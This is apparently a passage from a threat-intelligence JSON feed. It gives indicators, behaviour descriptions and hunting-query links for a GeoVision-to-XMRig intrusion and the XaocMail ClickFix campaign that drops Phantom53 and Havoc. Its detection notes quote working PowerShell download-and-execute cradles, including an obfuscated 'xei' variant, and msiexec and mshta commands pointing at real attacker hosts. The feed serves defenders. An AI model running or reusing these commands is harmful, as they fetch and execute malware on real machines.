"Defender XDR DeviceProcessEvents; EDR process events", "why": "The loader dropped the XMRig miner as ApplyUpdate.exe. The filename alone can appear in legitimate updaters, so this hunt requires XMRig-style arguments such as --url, --user, --donate-level, --coin, --algo or a stratum+ address. Expected false positives are very rare.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_name": "Huntress", "title": "ApplyUpdate.exe launched with XMRig arguments", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/block_now.txt", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/defender_xdr_indicators.csv", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt.kql", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt.spl", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt_raw.spl", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt.yaral", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/iocs.csv", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer", "share_url": "https://iocwatch.com/t/GeoVision-Camera-Software-XMRig-Cryptominer/", "indicators": [ { "value": "45.32.117.34", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PowerShell staging server that hosted scripts a, b and c, first launched as iex (New-Object Net.WebClient).DownloadString after GeoStartupAgentService.exe spawned a command shell. Huntress, 13 November 2026. Vultr / The Constant Company AS20473, Singapore. Block this host only, not the range.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "http://45.32.117.34/a", "type": "url", "confidence": "high", "recommended_action": "block", "description": "PowerShell download cradle used in the initial command: powershell -c iex (New-Object Net.WebClient).DownloadString('http://45.32.117.34/a'). Huntress, 13 November 2026.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "http://45.32.117.34/b", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Secondary PowerShell script written to disk and launched with WMI; it repeated the writable-folder probe and downloaded kvckiller.sys (wsftprm.sys). Huntress, 13 November 2026.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "http://45.32.117.34/c", "type": "url", "confidence": "high", "recommended_action": "block", "description": "PowerShell script detonated in memory to download and run the Golang loader update.exe in the current directory. Huntress, 13 November 2026.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "156.246.94.183", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Address the custom Golang loader update.exe reached. Huntress, 13 November 2026. AkileCloud Network / AKILE LTD AS61112, Tokyo. Resolved to cctv-update.top. Block this host only, not the range.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "cctv-update.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain that resolved to 156.246.94.183 at the time of the investigation. Huntress says it was registered on 7 November 2026 at 02:40 UTC. Block this exact domain.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "f1235751c9e48e5732b7b183dc2bb175a19e4c6401dfd0e96b4cfdd0d8c54b4c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of update.exe, the custom Golang loader that uses a BitTorrent Mainline DHT client and a PKARR resolver to find moving infrastructure, creates the PackageUpdater tasks, and drops XMRig as ApplyUpdate.exe. Huntress, 13 November 2026.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "b673c4d707828abedc767a2be6badef7454492e62c37e30cf3cc5a402fd3647b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 Huntress published for the PowerShell scripts a, b and c used in the attack chain after GeoStartupAgentService.exe spawned a shell. Huntress, 13 November 2026.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of wsftprm.sys, dropped as kvckiller.sys. This is the signed Topaz Antifraud (Warsaw) kernel driver v2.0.0.0 (CVE-2023-52271) abused as a BYOVD tool to terminate protected processes such as Microsoft Defender. Alert only: the same hash is a known legitimate, if vulnerable, driver still used by some banking antifraud deployments. Do not block estate-wide without checking for Topaz software. Huntress, 13 November 2026; also catalogued on LOLDrivers.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" }, { "url": "https://www.loldrivers.io/drivers/30e8d598-2c60-49e4-953b-a6f620da1371/", "name": "loldrivers.io" } ] }, { "value": "2.59.133.151", "type": "ipv4", "confidence": "high", "recommended_action": "alert", "description": "WebCamServer.exe was seen reaching this address; Huntress calls it the likely source of exploitation. dataforest GmbH AS58212, Frankfurt, PTR app.thisismy.cloud. The host exposes many services and has an older, unrelated URLhaus malware-download listing (XXE, December 2025), so treat it as shared or reused hosting: alert only, do not block, and do not block thisismy.cloud.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" }, { "url": "https://urlhaus.abuse.ch/host/2.59.133.151/", "name": "URLhaus" } ] }, { "value": "kvckiller.sys", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Filename used for the dropped wsftprm.sys BYOVD driver. Alert only; confirm the file and path before acting.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] }, { "value": "ApplyUpdate.exe", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Filename used for the dropped XMRig miner. Alert only: the name is not unique enough to block; hunt it with XMRig arguments.", "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "name": "Huntress" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt.kql", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt.spl", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt_raw.spl", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer/hunt.yaral", "download": "GeoVision-Camera-Software-XMRig-Cryptominer_hunt.yaral" } ] }, { "id": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc", "folder": "threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc", "name": "XaocMail ClickFix Campaign Dropping Phantom53 DoH C2 and Havoc", "short": "XaocMail Phantom53", "category": "Malware / RAT", "published": "2026-11-13", "entry_date": "2026-11-13 14:18", "last_updated": "2026-11-13", "seq": 48, "headline": "A Russian-speaking actor uses ClickFix document lures to install Phantom53, a DNS-over-HTTPS backdoor that loads Havoc", "summary": "SOCRadar's Threat Research Unit, writing on 13 November 2026, describes an active campaign by a Russian-speaking actor running since August 2026. XaocMail, a self-hosted phishing platform, sends personalised document-sharing emails from likely compromised mailboxes, linking to Cloudflare Worker ClickFix pages (securedoc subdomains on workers.dev). The victim pastes a Win+R command that runs an MSI (msiexec /i ... /qn), HTA or PowerShell payload. The MSI drops a private Python runtime in a random AppData folder and two scheduled tasks that run pythonw.exe: the Phantom53 beacon, which hides command and control in DNS-over-HTTPS AAAA answers from Cloudflare, Google and ControlD resolvers, and a watcher that loads a Havoc Demon in memory for chosen targets. Almost a thousand lures hit Latin America, Asia and Europe across technology, finance, education, government, logistics and manufacturing. Attacker servers, domains, the exfiltration URL and all malware hashes are on the block list.", "caveat": "All indicators come from one SOCRadar report; the actor is unnamed. 176.9.154.69 looks like a shared Hetzner proxy and the two GitHub URLs are abused paths on github.com, so those are alert only and github.com, workers.dev and the public DoH resolvers must never be blocked. Block each workers.dev host exactly as listed.", "targets": { "countries": [ { "code": "BR", "name": "Brazil" }, { "code": "PE", "name": "Peru" }, { "code": "IN", "name": "India" }, { "code": "ID", "name": "Indonesia" }, { "code": "ES", "name": "Spain" } ], "regions": [ "Latin America", "Asia", "Europe" ], "sectors": [ "Technology and IT", "Finance", "Education", "Government", "Logistics", "Manufacturing" ], "note": "SOCRadar found almost a thousand personalised XaocMail lure pages, mostly aimed at Brazil and Peru, then India, Indonesia and Spain, spread evenly across sectors with a slight tilt toward technology and IT.", "source": { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "name": "SOCRadar" } }, "mitre": [ { "id": "T1566.002", "name": "Spearphishing Link", "url": "https://attack.mitre.org/techniques/T1566/002/" }, { "id": "T1204.004", "name": "Malicious Copy and Paste", "url": "https://attack.mitre.org/techniques/T1204/004/" }, { "id": "T1218.007", "name": "Msiexec", "url": "https://attack.mitre.org/techniques/T1218/007/" }, { "id": "T1218.005", "name": "Mshta", "url": "https://attack.mitre.org/techniques/T1218/005/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1574.002", "name": "DLL Side-Loading", "url": "https://attack.mitre.org/techniques/T1574/002/" }, { "id": "T1071.004", "name": "DNS", "url": "https://attack.mitre.org/techniques/T1071/004/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1568.002", "name": "Domain Generation Algorithms", "url": "https://attack.mitre.org/techniques/T1568/002/" }, { "id": "T1620", "name": "Reflective Code Loading", "url": "https://attack.mitre.org/techniques/T1620/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" } ], "recommended_actions": [ "Block the attacker IPs, domains (each workers.dev host exactly as listed), the exfiltration URL on 145.63.138.67:8125 and all Phantom53 and Havoc hashes, and search 90 days of proxy, DNS, firewall and EDR logs for them.", "Alert on msiexec, mshta or PowerShell launched from the Run dialog with a workers.dev URL ending in /m?id=, /h?id= or /s?id=; isolate any host that hits.", "Hunt scheduled tasks that run pythonw.exe with a .pyw script from AppData, the files p53_task_a.xml or p53_task_b.xml, and pythonw.exe in AppData talking to DoH resolvers.", "On a confirmed host, remove both tasks and the random AppData Python folder, check HKCU\\Software\\Classes\\CLSID for the beacon's state key, and reset the user's passwords and sessions.", "Reduce ClickFix risk: restrict the Run dialog and msiexec from URLs for standard users, and warn staff about paste-this-command pages behind document-sharing emails." ], "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "name": "SOCRadar" }, { "url": "https://threatfox.abuse.ch/ioc/1980891/", "label": "ThreatFox – 94.156.152.7 tracked as Remcos C2 (IOC 1980891)", "name": "ThreatFox" }, { "url": "https://threatfox.abuse.ch/ioc/2027546/", "label": "threatfox.abuse.ch", "name": "ThreatFox (2)" }, { "url": "https://threatfox.abuse.ch/ioc/2027547/", "label": "threatfox.abuse.ch", "name": "ThreatFox (3)" }, { "url": "https://threatfox.abuse.ch/ioc/2027548/", "label": "threatfox.abuse.ch", "name": "ThreatFox (4)" }, { "url": "https://threatfox.abuse.ch/ioc/2027549/", "label": "threatfox.abuse.ch", "name": "ThreatFox (5)" }, { "url": "https://threatfox.abuse.ch/ioc/2027550/", "label": "threatfox.abuse.ch", "name": "ThreatFox (6)" }, { "url": "https://threatfox.abuse.ch/ioc/2027551/", "label": "threatfox.abuse.ch", "name": "ThreatFox (7)" }, { "url": "https://threatfox.abuse.ch/ioc/2027552/", "label": "threatfox.abuse.ch", "name": "ThreatFox (8)" }, { "url": "https://threatfox.abuse.ch/ioc/2027553/", "label": "threatfox.abuse.ch", "name": "ThreatFox (9)" }, { "url": "https://threatfox.abuse.ch/ioc/2027554/", "label": "threatfox.abuse.ch", "name": "ThreatFox (10)" }, { "url": "https://threatfox.abuse.ch/ioc/2027555/", "label": "threatfox.abuse.ch", "name": "ThreatFox (11)" }, { "url": "https://threatfox.abuse.ch/ioc/2027556/", "label": "threatfox.abuse.ch", "name": "ThreatFox (12)" }, { "url": "https://threatfox.abuse.ch/ioc/2027557/", "label": "threatfox.abuse.ch", "name": "ThreatFox (13)" }, { "url": "https://threatfox.abuse.ch/ioc/2027558/", "label": "threatfox.abuse.ch", "name": "ThreatFox (14)" }, { "url": "https://threatfox.abuse.ch/ioc/2027559/", "label": "threatfox.abuse.ch", "name": "ThreatFox (15)" }, { "url": "https://threatfox.abuse.ch/ioc/2027560/", "label": "threatfox.abuse.ch", "name": "ThreatFox (16)" }, { "url": "https://threatfox.abuse.ch/ioc/2027561/", "label": "threatfox.abuse.ch", "name": "ThreatFox (17)" }, { "url": "https://threatfox.abuse.ch/ioc/2027562/", "label": "threatfox.abuse.ch", "name": "ThreatFox (18)" }, { "url": "https://threatfox.abuse.ch/ioc/2027563/", "label": "threatfox.abuse.ch", "name": "ThreatFox (19)" }, { "url": "https://bazaar.abuse.ch/sample/bceeb2d54b6a756c73a3e06617e9e95ad4d8e53da47639bcd6ef3cae98c6da6d/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" }, { "url": "https://bazaar.abuse.ch/sample/79a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (2)" }, { "url": "https://bazaar.abuse.ch/sample/0e1c94a8f94158f64558325ddbfd1e1277884fba6fb1f8c381dbd5c742e59fbb/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (3)" }, { "url": "https://bazaar.abuse.ch/sample/efc4b8c1968c06e598a6f6f98398d44b488198b497291fe30fb792d696b6cb81/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (4)" }, { "url": "https://bazaar.abuse.ch/sample/4f656834e545c0b44922ce6d8952989c8c0859d8ae8b1f117c06ab07b047e2b4/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (5)" }, { "url": "https://bazaar.abuse.ch/sample/8ebb2bf61b48ae7abdcd674413bebd79b30ddd945854e175ba60d56c0a3adf54/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (6)" }, { "url": "https://bazaar.abuse.ch/sample/56582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (7)" }, { "url": "https://bazaar.abuse.ch/sample/009099ba10365b44bdb3ecc28dfcbed6a594ec0a0df86931620cdaac9843e611/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (8)" }, { "url": "https://bazaar.abuse.ch/sample/0aff424f9a02eb9f429119c4caa05e85fc952603549d69849e745293d20235d6/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (9)" }, { "url": "https://bazaar.abuse.ch/sample/7055483a77f679ad569c3a9bfe76cdb8e5b96efc44d2bf2a6f08e930add598b0/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (10)" }, { "url": "https://bazaar.abuse.ch/sample/0dcfe51d2521e52a469f5cec6b42bc8e7e37b41df993cce7d739ff3fd248d8b1/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (11)" }, { "url": "https://bazaar.abuse.ch/sample/bd1c005f35e4fd8c61dfa6f20d4c03e082c692e286a3b22dd642369c8d5e3564/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (12)" }, { "url": "https://bazaar.abuse.ch/sample/dbd252becd490ac47e16bff4391ab9e6237c4f7e81ab6784c57fa2eed751f477/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (13)" }, { "url": "https://bazaar.abuse.ch/sample/e9e57a57ee45b8faae2e47affd8cf3a6d0cc1283802108f7298ae1d2ef3b43f0/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (14)" }, { "url": "https://bazaar.abuse.ch/sample/d2d41b249905deae3bd6bcaa547872d747256a7dfa459b509d9db9de8f0ca29b/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (15)" }, { "url": "https://bazaar.abuse.ch/sample/ee5fa33b58d0f2772e091e23de9db24908d970000a88e39fd7d908f30f5e591a/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (16)" }, { "url": "https://bazaar.abuse.ch/sample/a972797cc1a4161f6e2841142b8cace9b781585f9a71b03aa79a9c051b817491/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (17)" }, { "url": "https://bazaar.abuse.ch/sample/47e853092511d9663196e9b36d563a0c3e92ee734f88675c4f375ffcfa5f3db8/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (18)" }, { "url": "https://bazaar.abuse.ch/sample/4efe003a54db8ffbaef6065270eacb0a59479ccc86941517ac7a33344e97bc1d/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (19)" }, { "url": "https://bazaar.abuse.ch/sample/9a2af4b6d9780e08c86ff35030ee1747ea11460cb1dffc868c48e7af6d626546/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (20)" } ], "indicator_count": 50, "block_now_count": 47, "hunt_count": 3, "hunt_counts": { "alert": 3 }, "indicator_counts": { "sha256": 22, "domain": 18, "ipv4": 7, "url": 3 }, "ioas": [ { "artefact": "msiexec, mshta or PowerShell started from the Run dialog (explorer.exe) with a workers.dev URL ending in /m?id=, /h?id= or /s?id=, or the reversed 'xei' Invoke-Expression trick", "log_source": "Defender XDR DeviceProcessEvents; EDR process events", "why": "The XaocMail ClickFix page tells the victim to paste a command into Win+R: msiexec /i https://securedoc.[name].workers.dev/m?id=[id] /qn (the current, preferred mode), mshta https://.../h?id=, or powershell .(-join'xei'[-1..-3])((New-Object Net.WebClient).DownloadString('https://.../s?id=')). Tuning: parent must be explorer.exe, the child msiexec, mshta, powershell or pwsh, and the command line must carry a workers.dev URL with one of the three payload paths and an id= parameter, or the reversed xei string. Expected false positives: very rare; legitimate installers are not launched by hand from a workers.dev URL. Treat any hit as initial access.", "action": "alert", "has_query": true, "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_name": "SOCRadar", "title": "ClickFix Run-dialog msiexec, mshta or PowerShell from workers.dev", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A scheduled task that runs pythonw.exe with a .pyw script from a randomly named folder under AppData", "log_source": "Defender XDR DeviceEvents (ScheduledTaskCreated); Windows Security 4698; Task Scheduler operational log", "why": "The Phantom53 MSI drops a private Python 3.11 runtime into a random folder under %LOCALAPPDATA%, %APPDATA%, %APPDATA%\\Microsoft or %LOCALAPPDATA%\\Microsoft\\WindowsApps and registers two tasks that run [folder]\\pythonw.exe [random].pyw every 12 minutes (beacon) and every 3 minutes (watcher). Task names come from a pool: MicrosoftEdgeUpdateTask, OneDriveSyncTask, WindowsDefenderScheduledScan, OfficeBackgroundTaskHandler or AdobeAcrobatUpdateTask followed by one random character. Tuning: the task action must contain pythonw.exe and a .pyw file under AppData; standard Python installs (\\Programs\\Python\\, Microsoft Store PythonSoftwareFoundation, Anaconda or Miniconda) are excluded. Expected false positives: a developer's own scheduled Python script run from a portable or venv folder in AppData; a task name from the pool with a pythonw.exe action is close to certain.", "action": "alert", "has_query": true, "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_name": "SOCRadar", "title": "Scheduled task running pythonw.exe from AppData", "queries": [ "KQL" ] }, { "artefact": "Files p53_task_a.xml or p53_task_b.xml written to the user's temp folder", "log_source": "Defender XDR DeviceFileEvents; EDR file events", "why": "When it is not elevated, Phantom53 writes %TEMP%\\p53_task_a.xml and p53_task_b.xml and registers them with Register-ScheduledTask, which raises a UAC prompt showing a fake product name such as Node.js Runtime from OpenJS Foundation. The file names are specific to this malware. Expected false positives: none known.", "action": "alert", "has_query": true, "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_name": "SOCRadar", "title": "p53_task_a.xml or p53_task_b.xml written", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "pythonw.exe running from a user AppData folder making DNS-over-HTTPS requests to public resolvers by IP or by dns.google", "log_source": "Defender XDR DeviceNetworkEvents; EDR network events; proxy logs", "why": "The Phantom53 beacon hides its command and control in DNS AAAA answers fetched by DoH POST to 1.1.1.1, 1.0.0.1, 8.8.8.8, 8.8.4.4, 76.76.2.11 or 76.76.10.11 on port 443, falling back to SNI hosts such as dns.google and then to plain UDP 53. Tuning: the process must be pythonw.exe under AppData, outside standard Python installs (\\Programs\\Python\\, PythonSoftwareFoundation, Anaconda, Miniconda). Expected false positives: a Python tool in a user profile that uses a DoH library; browsers and the OS resolver are not pythonw.exe. Do not block the resolvers; hunt the process.", "action": "hunt", "has_query": true, "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_name": "SOCRadar", "title": "pythonw.exe in AppData using DoH resolvers", "queries": [ "KQL" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/block_now.txt", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/defender_xdr_indicators.csv", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt.kql", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt.spl", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt_raw.spl", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt.yaral", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/iocs.csv", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc", "share_url": "https://iocwatch.com/t/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/", "indicators": [ { "value": "185.224.132.148", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "XaocMail phishing server: landing pages on TCP 8585, the FastAPI back end on HTTP 5000 and the actor's DNS server on UDP 53 that answers Phantom53 DoH queries.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" } ] }, { "value": "162.252.198.204", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Operator OPS server with SSH on TCP 2222.", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", 